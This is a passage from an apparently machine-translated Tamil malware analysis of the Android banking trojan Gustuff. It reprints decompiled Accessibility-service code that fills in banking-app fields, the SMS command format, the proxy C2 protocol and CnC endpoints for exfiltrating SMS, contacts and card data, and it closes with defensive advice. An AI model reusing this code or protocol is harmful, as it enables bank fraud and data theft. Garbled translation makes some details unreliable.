  • அனுமதிகள் - பயன்பாட்டிற்கான அனுமதிகளைக் கோர இந்த கட்டளை அவசியம். இருப்பினும், வினவல் செயல்பாடு செயல்படுத்தப்படவில்லை, எனவே கட்டளை அர்த்தமற்றது. கோரப்பட்ட உரிமைகளின் பட்டியல் "அனுமதிகள்" விசையுடன் JSON வரிசையாக வருகிறது. நிலையான பட்டியல்:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • திறந்த - ஒரு ஃபிஷிங் சாளரத்தைக் காட்டவும். சேவையகத்திலிருந்து வரும் அளவுருவைப் பொறுத்து, பயன்பாடு பின்வரும் ஃபிஷிங் சாளரங்களைக் காண்பிக்கலாம்:
    • கோப்பகத்தில் உள்ள கோப்பில் உள்ளடக்கங்கள் எழுதப்பட்ட ஃபிஷிங் சாளரத்தைக் காட்டு <%வெளிப்புற அடைவு%>/hgps/<%param_filename%>. சாளரத்துடன் பயனர் தொடர்புகளின் முடிவு அனுப்பப்படும் <%CnC%>/records.php
    • முகவரியில் இருந்து முன்பே ஏற்றப்பட்ட ஃபிஷிங் சாளரத்தைக் காட்டு <%url_param%>?id=<%bot_id%>&app=<%packagename%>. சாளரத்துடன் பயனர் தொடர்புகளின் முடிவு அனுப்பப்படும் <%CnC%>/records.php
    • கூகுள் பிளே கார்டு போல் மாறுவேடமிட்ட ஃபிஷிங் சாளரத்தைக் காட்டு.

  • ஊடாடும் — AcessibilityService ஐப் பயன்படுத்தி பிற பயன்பாடுகளின் சாளர உறுப்புகளுடன் தொடர்பு கொள்ள கட்டளை வடிவமைக்கப்பட்டுள்ளது. இத்திட்டத்தில் தொடர்புகொள்வதற்காக ஒரு சிறப்பு சேவை செயல்படுத்தப்பட்டுள்ளது. விசாரணையில் உள்ள பயன்பாடு விண்டோஸுடன் தொடர்பு கொள்ளலாம்:
    • தற்போது செயலில் உள்ளது. இந்த வழக்கில், அளவுருவில் நீங்கள் தொடர்பு கொள்ள வேண்டிய பொருளின் ஐடி அல்லது உரை (பெயர்) உள்ளது.
    • கட்டளை செயல்படுத்தப்படும் நேரத்தில் பயனருக்குத் தெரியும். பயன்பாடு ஐடி மூலம் சாளரங்களைத் தேர்ந்தெடுக்கிறது.

    பொருட்களைப் பெற்றுள்ளது அணுகல்தன்மைNodeInfo ஆர்வமுள்ள சாளர கூறுகளுக்கு, பயன்பாடு, அளவுருக்களைப் பொறுத்து, பின்வரும் செயல்களைச் செய்யலாம்:

    • கவனம் - பொருளுக்கு கவனம் செலுத்து.
    • கிளிக் — ஒரு பொருளின் மீது சொடுக்கவும்.
    • actionId — ஐடி மூலம் ஒரு செயலைச் செய்யவும்.
    • setText - ஒரு பொருளின் உரையை மாற்றவும். உரையை மாற்றுவது இரண்டு வழிகளில் சாத்தியமாகும்: ஒரு செயலைச் செய்யவும் ACTION_SET_TEXT (பாதிக்கப்பட்ட சாதனத்தின் ஆண்ட்ராய்டு பதிப்பு இளைய அல்லது அதற்கு சமமாக இருந்தால் லாலிபாப்), அல்லது கிளிப்போர்டில் ஒரு சரத்தை வைத்து அதை ஒரு பொருளில் ஒட்டுவதன் மூலம் (பழைய பதிப்புகளுக்கு). வங்கிப் பயன்பாட்டில் தரவை மாற்ற இந்தக் கட்டளையைப் பயன்படுத்தலாம்.

2. PARAMS_ACTIONS - அதே PARAMS_ACTION, JSON கட்டளைகளின் வரிசை மட்டுமே வரும்.

மற்றொரு பயன்பாட்டின் சாளர கூறுகளுடன் தொடர்புகொள்வதன் செயல்பாடு எப்படி இருக்கும் என்பதில் பலர் ஆர்வமாக இருப்பதாகத் தெரிகிறது. Gustuff இல் இந்த செயல்பாடு செயல்படுத்தப்படுவது இதுதான்:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

உரை மாற்று செயல்பாடு:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

எனவே, கட்டுப்பாட்டு சேவையகத்தின் சரியான உள்ளமைவுடன், கஸ்டஃப் வங்கி பயன்பாட்டில் உரை புலங்களை நிரப்ப முடியும் மற்றும் பரிவர்த்தனையை முடிக்க தேவையான பொத்தான்களைக் கிளிக் செய்க. ட்ரோஜன் பயன்பாட்டில் உள்நுழைய வேண்டிய அவசியமில்லை - புஷ் அறிவிப்பைக் காண்பிக்க ஒரு கட்டளையை அனுப்பினால் போதும், பின்னர் நிறுவப்பட்ட வங்கி பயன்பாட்டைத் திறக்கவும். பயனர் தன்னை அங்கீகரிப்பார், அதன் பிறகு கஸ்டஃப் காரை நிரப்ப முடியும்.

SMS செய்தி செயலாக்க தொகுதி

எஸ்எம்எஸ் செய்திகளை ஏற்க, பாதிக்கப்பட்ட சாதனத்திற்கான நிகழ்வு ஹேண்ட்லரை பயன்பாடு நிறுவுகிறது. ஆய்வின் கீழ் உள்ள பயன்பாடு, SMS செய்தியின் உடலில் வரும் ஆபரேட்டரிடமிருந்து கட்டளைகளைப் பெறலாம். கட்டளைகள் வடிவத்தில் வருகின்றன:

7!5=<%Base64 குறியிடப்பட்ட கட்டளை%>

பயன்பாடு அனைத்து உள்வரும் SMS செய்திகளிலும் சரத்தை தேடுகிறது 7!5=, ஒரு சரம் கண்டறியப்பட்டால், அது ஆஃப்செட் 64 இல் Base4 இலிருந்து சரத்தை டிகோட் செய்து கட்டளையை இயக்குகிறது. கட்டளைகள் CnC உடன் ஒத்திருக்கும். கட்டளை வந்த அதே எண்ணுக்கு மரணதண்டனை முடிவு அனுப்பப்படும். பதில் வடிவம்:

7*5=<%Base64 "result_code கட்டளை"%> இன் குறியாக்கம்

விருப்பமாக, விண்ணப்பம் பெறப்பட்ட அனைத்து செய்திகளையும் ரூட் எண்ணுக்கு அனுப்பலாம். இதைச் செய்ய, முன்னுரிமை கோப்பில் ரூட் எண் குறிப்பிடப்பட வேண்டும் மற்றும் செய்தி திசைதிருப்பல் கொடி அமைக்கப்பட வேண்டும். இந்த வடிவத்தில் தாக்குபவர்களின் எண்ணுக்கு SMS செய்தி அனுப்பப்படும்:

<%எண்ணிலிருந்து%> - <%நேரம், வடிவம்: dd/MM/yyyy HH:mm:ss%> <%SMS உடல்%>

மேலும், விருப்பமாக, பயன்பாடு CnC க்கு செய்திகளை அனுப்பலாம். எஸ்எம்எஸ் செய்தி சேவையகத்திற்கு JSON வடிவத்தில் அனுப்பப்படுகிறது:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

கொடி அமைத்தால் பெயர் ஜெனரேட்டர்("DEFAULT_APP_SMS") - பயன்பாடு SMS செய்தியைச் செயலாக்குவதை நிறுத்தி, உள்வரும் செய்திகளின் பட்டியலை அழிக்கிறது.

ப்ராக்ஸி தொகுதி

ஆய்வின் கீழ் உள்ள பயன்பாட்டில் Backconnect Proxy தொகுதி உள்ளது (இனிமேல் ப்ராக்ஸி தொகுதி என குறிப்பிடப்படுகிறது), இது ஒரு தனி வகுப்பைக் கொண்டுள்ளது, அதில் உள்ளமைவுடன் நிலையான புலங்கள் அடங்கும். உள்ளமைவு தரவு மாதிரியில் தெளிவான வடிவத்தில் சேமிக்கப்படுகிறது:

உங்கள் கணக்குகளில் இருந்து ஆண்ட்ராய்டு ட்ரோஜன் கஸ்டஃப் எவ்வாறு க்ரீமை (ஃபியட் மற்றும் கிரிப்டோ) நீக்குகிறது

ப்ராக்ஸி தொகுதியால் செய்யப்படும் அனைத்து செயல்களும் கோப்புகளில் உள்நுழைந்திருக்கும். இதைச் செய்ய, வெளிப்புற சேமிப்பகத்தில் உள்ள பயன்பாடு "பதிவுகள்" (உள்ளமைவு வகுப்பில் உள்ள ProxyConfigClass.logsDir புலம்) எனப்படும் கோப்பகத்தை உருவாக்குகிறது, அதில் பதிவு கோப்புகள் சேமிக்கப்படும். பெயர்களைக் கொண்ட கோப்புகளில் உள்நுழைவு ஏற்படுகிறது:

  1. main.txt - CommandServer எனப்படும் வகுப்பின் வேலை இந்த கோப்பில் உள்நுழைந்துள்ளது. பின்வருவனவற்றில், இந்த கோப்பில் சரத்தை உள்நுழைவது mainLog(str) எனக் குறிக்கப்படும்.
  2. அமர்வு-<%id%>.txt — இந்தக் கோப்பு ஒரு குறிப்பிட்ட ப்ராக்ஸி அமர்வுடன் தொடர்புடைய பதிவுத் தரவைச் சேமிக்கிறது. பின்வருவனவற்றில், இந்தக் கோப்பில் stringஐ உள்நுழைவது அமர்வுப் பதிவு (str) எனக் குறிக்கப்படும்.
  3. server.txt - மேலே விவரிக்கப்பட்ட கோப்புகளில் எழுதப்பட்ட அனைத்து தரவையும் பதிவு செய்ய இந்த கோப்பு பயன்படுத்தப்படுகிறது.

பதிவு தரவு வடிவம்:

<%Date%> [நூல்[<%thread id%>], id[]]: log-string

ப்ராக்ஸி தொகுதியின் செயல்பாட்டின் போது ஏற்படும் விதிவிலக்குகளும் ஒரு கோப்பில் உள்நுழைந்திருக்கும். இதைச் செய்ய, பயன்பாடு பின்வரும் வடிவத்தில் JSON பொருளை உருவாக்குகிறது:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

பின்னர் அதை சரம் பிரதிநிதித்துவமாக மாற்றி பதிவு செய்கிறது.

தொடர்புடைய கட்டளையைப் பெற்ற பிறகு ப்ராக்ஸி தொகுதி தொடங்கப்பட்டது. ப்ராக்ஸி தொகுதியைத் தொடங்குவதற்கான கட்டளையைப் பெற்றவுடன், பயன்பாடு எனப்படும் சேவையைத் தொடங்குகிறது முதன்மை சேவை, இது ப்ராக்ஸி தொகுதியின் செயல்பாட்டை நிர்வகிப்பதற்கு பொறுப்பாகும் - அதைத் தொடங்குதல் மற்றும் நிறுத்துதல்.

சேவையைத் தொடங்கும் நிலைகள்:

1. நிமிடத்திற்கு ஒருமுறை இயங்கும் டைமரைத் தொடங்கி, ப்ராக்ஸி தொகுதியின் செயல்பாட்டைச் சரிபார்க்கிறது. தொகுதி செயலில் இல்லை என்றால், அது தொடங்கும்.
மேலும் நிகழ்வு தூண்டப்படும் போது android.net.conn.CONNECTIVITY_CHANGE ப்ராக்ஸி தொகுதி தொடங்கப்பட்டது.

2. பயன்பாடு அளவுருவுடன் ஒரு வேக்-லாக்கை உருவாக்குகிறது பகுதி_WAKE_LOCK மற்றும் அவரைப் பிடிக்கிறது. இது சாதனத்தின் CPU ஸ்லீப் பயன்முறைக்குச் செல்வதைத் தடுக்கிறது.

3. ப்ராக்ஸி தொகுதியின் கட்டளை செயலாக்க வகுப்பை துவக்குகிறது, முதலில் வரியை பதிவு செய்கிறது மெயின்லாக் ("தொடக்க சர்வர்") и

சர்வர்::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

எங்கே proxy_cnc, command_port மற்றும் proxy_port - ப்ராக்ஸி சர்வர் உள்ளமைவிலிருந்து பெறப்பட்ட அளவுருக்கள்.

கட்டளை செயலாக்க வகுப்பு அழைக்கப்படுகிறது கட்டளை இணைப்பு. தொடங்கப்பட்ட உடனேயே, பின்வரும் செயல்களைச் செய்கிறது:

4. இணைக்கிறது ProxyConfigClass.host: ProxyConfigClass.commandPort பாதிக்கப்பட்ட சாதனத்தைப் பற்றிய தரவை JSON வடிவத்தில் அனுப்புகிறது:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

எங்கே:

  • id - அடையாளங்காட்டி, "x" என பெயரிடப்பட்ட பகிரப்பட்ட முன்னுரிமை கோப்பிலிருந்து "id" புலத்துடன் மதிப்பைப் பெற முயற்சிக்கிறது. இந்த மதிப்பைப் பெற முடியாவிட்டால், அது புதிய ஒன்றை உருவாக்குகிறது. எனவே, ப்ராக்ஸி தொகுதிக்கு அதன் சொந்த அடையாளங்காட்டி உள்ளது, இது பாட் ஐடியைப் போலவே உருவாக்கப்படுகிறது.
  • imei - சாதனத்தின் IMEI. மதிப்பைப் பெறுவதற்கான செயல்பாட்டின் போது பிழை ஏற்பட்டால், இந்தப் புலத்திற்குப் பதிலாக ஒரு பிழை உரைச் செய்தி எழுதப்படும்.
  • imsi - சாதனத்தின் சர்வதேச மொபைல் சந்தாதாரர் அடையாளம். மதிப்பைப் பெறுவதற்கான செயல்பாட்டின் போது பிழை ஏற்பட்டால், இந்தப் புலத்திற்குப் பதிலாக ஒரு பிழை உரைச் செய்தி எழுதப்படும்.
  • மாதிரி - இறுதிப் பொருளின் இறுதிப் பயனருக்குத் தெரியும் பெயர்.
  • உற்பத்தியாளர் — தயாரிப்பு/வன்பொருள் உற்பத்தியாளர் (Build.MANUFACTURER).
  • androidVersion - "<%release_version%> (<%os_version%>),<%sdk_version%>" வடிவத்தில் உள்ள சரம்
  • நாடு - சாதனத்தின் தற்போதைய இடம்.
  • partnerId என்பது வெற்று சரம்.
  • தொகுப்பு பெயர் - தொகுப்பு பெயர்.
  • networkType — தற்போதைய பிணைய இணைப்பு வகை (எடுத்துக்காட்டு: "WIFI", "MOBILE"). பிழை ஏற்பட்டால், பூஜ்யத்தை வழங்குகிறது.
  • hasGsmSupport – true – தொலைபேசி GSM ஐ ஆதரித்தால், இல்லையெனில் தவறு.
  • simReady - சிம் கார்டு நிலை.
  • simCountry - ISO நாட்டின் குறியீடு (சிம் கார்டு வழங்குநரின் அடிப்படையில்).
  • நெட்வொர்க் ஆபரேட்டர் - ஆபரேட்டர் பெயர். மதிப்பைப் பெறுவதற்கான செயல்பாட்டின் போது பிழை ஏற்பட்டால், இந்தப் புலத்திற்குப் பதிலாக ஒரு பிழை உரைச் செய்தி எழுதப்படும்.
  • simOperator - சேவை வழங்குநர் பெயர் (SPN). மதிப்பைப் பெறுவதற்கான செயல்பாட்டின் போது பிழை ஏற்பட்டால், இந்தப் புலத்திற்குப் பதிலாக ஒரு பிழை உரைச் செய்தி எழுதப்படும்.
  • பதிப்பு - இந்த புலம் கட்டமைப்பு வகுப்பில் சேமிக்கப்படுகிறது; போட் சோதனை செய்யப்பட்ட பதிப்புகளுக்கு இது "1.6" க்கு சமமாக இருந்தது.

5. சேவையகத்திலிருந்து கட்டளைகளுக்காக காத்திருக்கும் முறைக்கு மாறுகிறது. சேவையகத்திலிருந்து வரும் கட்டளைகள் வடிவத்தில் வருகின்றன:

  • 0 ஆஃப்செட் - கட்டளை
  • 1 ஆஃப்செட் - அமர்வு ஐடி
  • 2 ஆஃப்செட் - நீளம்
  • 4 ஆஃப்செட் - தரவு

ஒரு கட்டளை வந்ததும், பயன்பாடு பதிவு செய்கிறது:
mainLog("தலைப்பு { sessionId<%id%>], வகை[<%command%>], நீளம்[<%length%>] }")

சேவையகத்திலிருந்து பின்வரும் கட்டளைகள் சாத்தியமாகும்:

பெயர் கட்டளை தேதி விளக்கம்
இணைப்பு ஐடி 0 இணைப்பு ஐடி புதிய இணைப்பை உருவாக்கவும்
தூக்கம் 3 நேரம் ப்ராக்ஸி தொகுதியை இடைநிறுத்தவும்
பிங் பாங் 4 - PONG செய்தியை அனுப்பு

ஒரு PONG செய்தி 4 பைட்டுகளைக் கொண்டுள்ளது மற்றும் இது போல் தெரிகிறது: 0x04000000.

connectionId கட்டளை பெறப்படும் போது (புதிய இணைப்பை உருவாக்க) கட்டளை இணைப்பு ஒரு வகுப்பின் உதாரணத்தை உருவாக்குகிறது ப்ராக்ஸி இணைப்பு.

  • ப்ராக்ஸியிங்கில் இரண்டு வகுப்புகள் பங்கேற்கின்றன: ப்ராக்ஸி இணைப்பு и இறுதியில். ஒரு வகுப்பை உருவாக்கும் போது ப்ராக்ஸி இணைப்பு முகவரியுடன் இணைக்கிறது ProxyConfigClass.host: ProxyConfigClass.proxyPort மற்றும் JSON பொருளைக் கடந்து செல்லுதல்:

 {
    "id":<%connectionId%>
}

பதிலுக்கு, சேவையகம் SOCKS5 செய்தியை அனுப்புகிறது, அதில் தொலை சேவையகத்தின் முகவரியைக் கொண்டிருக்கும், அதனுடன் இணைப்பு நிறுவப்பட வேண்டும். இந்த சேவையகத்துடனான தொடர்பு வகுப்பு மூலம் நிகழ்கிறது இறுதியில். இணைப்பு அமைப்பை பின்வருமாறு திட்டவட்டமாக குறிப்பிடலாம்:

உங்கள் கணக்குகளில் இருந்து ஆண்ட்ராய்டு ட்ரோஜன் கஸ்டஃப் எவ்வாறு க்ரீமை (ஃபியட் மற்றும் கிரிப்டோ) நீக்குகிறது

நெட்வொர்க் தொடர்புகள்

நெட்வொர்க் ஸ்னிஃபர்களால் ட்ராஃபிக் பகுப்பாய்வைத் தடுக்க, CnC சேவையகத்திற்கும் பயன்பாட்டிற்கும் இடையிலான தொடர்பு SSL நெறிமுறையைப் பயன்படுத்தி பாதுகாக்கப்படலாம். சேவையகத்திலிருந்து மற்றும் சேவையகத்திற்கு அனுப்பப்பட்ட அனைத்து தரவுகளும் JSON வடிவத்தில் வழங்கப்படுகின்றன. செயல்பாட்டின் போது பயன்பாடு பின்வரும் கோரிக்கைகளை செயல்படுத்துகிறது:

  • http://<%CnC%>/api/v1/set_state.php - கட்டளை செயல்படுத்தலின் முடிவு.
  • http://<%CnC%>/api/v1/get.php - ஒரு கட்டளையைப் பெறுதல்.
  • http://<%CnC%>/api/v1/load_sms.php - பாதிக்கப்பட்ட சாதனத்திலிருந்து SMS செய்திகளைப் பதிவிறக்குகிறது.
  • http://<%CnC%>/api/v1/load_ab.php - பாதிக்கப்பட்ட சாதனத்திலிருந்து தொடர்புகளின் பட்டியலைப் பதிவேற்றுகிறது.
  • http://<%CnC%>/api/v1/aevents.php - முன்னுரிமை கோப்பில் உள்ள அளவுருக்களை புதுப்பிக்கும்போது கோரிக்கை செய்யப்படுகிறது.
  • http://<%CnC%>/api/v1/set_card.php — கூகுள் ப்ளே மார்க்கெட் என மாஸ்க்ரேடிங் செய்யும் ஃபிஷிங் விண்டோவைப் பயன்படுத்தி பெறப்பட்ட தரவைப் பதிவேற்றுகிறது.
  • http://<%CnC%>/api/v1/logs.php - பதிவுத் தரவைப் பதிவேற்றுகிறது.
  • http://<%CnC%>/api/v1/records.php - ஃபிஷிங் சாளரங்கள் மூலம் பெறப்பட்ட தரவைப் பதிவேற்றுதல்.
  • http://<%CnC%>/api/v1/set_error.php - ஏற்பட்ட பிழையின் அறிவிப்பு.

பரிந்துரைகளை

மொபைல் ட்ரோஜான்களின் அச்சுறுத்தலில் இருந்து தங்கள் வாடிக்கையாளர்களைப் பாதுகாக்க, நிறுவனங்கள் பயனர் சாதனங்களில் கூடுதல் மென்பொருளை நிறுவாமல் தீங்கிழைக்கும் செயல்பாட்டைக் கண்காணிக்கவும் தடுக்கவும் அனுமதிக்கும் விரிவான தீர்வுகளைப் பயன்படுத்த வேண்டும்.

இதைச் செய்ய, மொபைல் ட்ரோஜான்களைக் கண்டறிவதற்கான கையொப்ப முறைகள் கிளையன்ட் மற்றும் பயன்பாடு ஆகிய இரண்டின் நடத்தையையும் பகுப்பாய்வு செய்வதற்கான தொழில்நுட்பங்களுடன் வலுப்படுத்தப்பட வேண்டும். டிஜிட்டல் கைரேகை தொழில்நுட்பத்தைப் பயன்படுத்தி ஒரு சாதனத்தை அடையாளம் காணும் செயல்பாட்டையும் பாதுகாப்பில் சேர்க்க வேண்டும், இது ஒரு வித்தியாசமான சாதனத்திலிருந்து கணக்கு எப்போது பயன்படுத்தப்படுகிறது மற்றும் ஏற்கனவே மோசடி செய்பவரின் கைகளில் சிக்கியுள்ளது என்பதைப் புரிந்துகொள்வதை சாத்தியமாக்கும்.

குறுக்கு-சேனல் பகுப்பாய்வின் கிடைக்கும் தன்மை ஒரு அடிப்படையில் முக்கியமான அம்சமாகும், இது இணையத்தில் மட்டுமல்ல, மொபைல் சேனலிலும் ஏற்படும் அபாயங்களைக் கட்டுப்படுத்த நிறுவனங்களை அனுமதிக்கிறது, எடுத்துக்காட்டாக, மொபைல் வங்கிக்கான பயன்பாடுகளில், கிரிப்டோகரன்சிகளுடன் பரிவர்த்தனைகள் மற்றும் பிற. பரிவர்த்தனைகளை மேற்கொள்ள முடியும் நிதி பரிவர்த்தனை.

பயனர்களுக்கான பாதுகாப்பு விதிகள்:

  • Google Play ஐத் தவிர வேறு எந்த மூலங்களிலிருந்தும் Android OS உடன் மொபைல் சாதனத்திற்கான பயன்பாடுகளை நிறுவ வேண்டாம், பயன்பாடு கோரும் உரிமைகளுக்கு சிறப்பு கவனம் செலுத்துங்கள்;
  • Android OS புதுப்பிப்புகளை தவறாமல் நிறுவவும்;
  • பதிவிறக்கம் செய்யப்பட்ட கோப்புகளின் நீட்டிப்புகளுக்கு கவனம் செலுத்துங்கள்;
  • சந்தேகத்திற்கிடமான ஆதாரங்களைப் பார்க்க வேண்டாம்;
  • எஸ்எம்எஸ் செய்திகளில் வரும் இணைப்புகளைக் கிளிக் செய்ய வேண்டாம்.

நடிக்கிறார்கள் செமியோன் ரோகச்சேவா, குரூப்-IB கணினி தடயவியல் ஆய்வகத்தில் தீம்பொருள் ஆராய்ச்சியில் இளநிலை நிபுணர்.

ஆதாரம்: www.habr.com

கருத்தைச் சேர்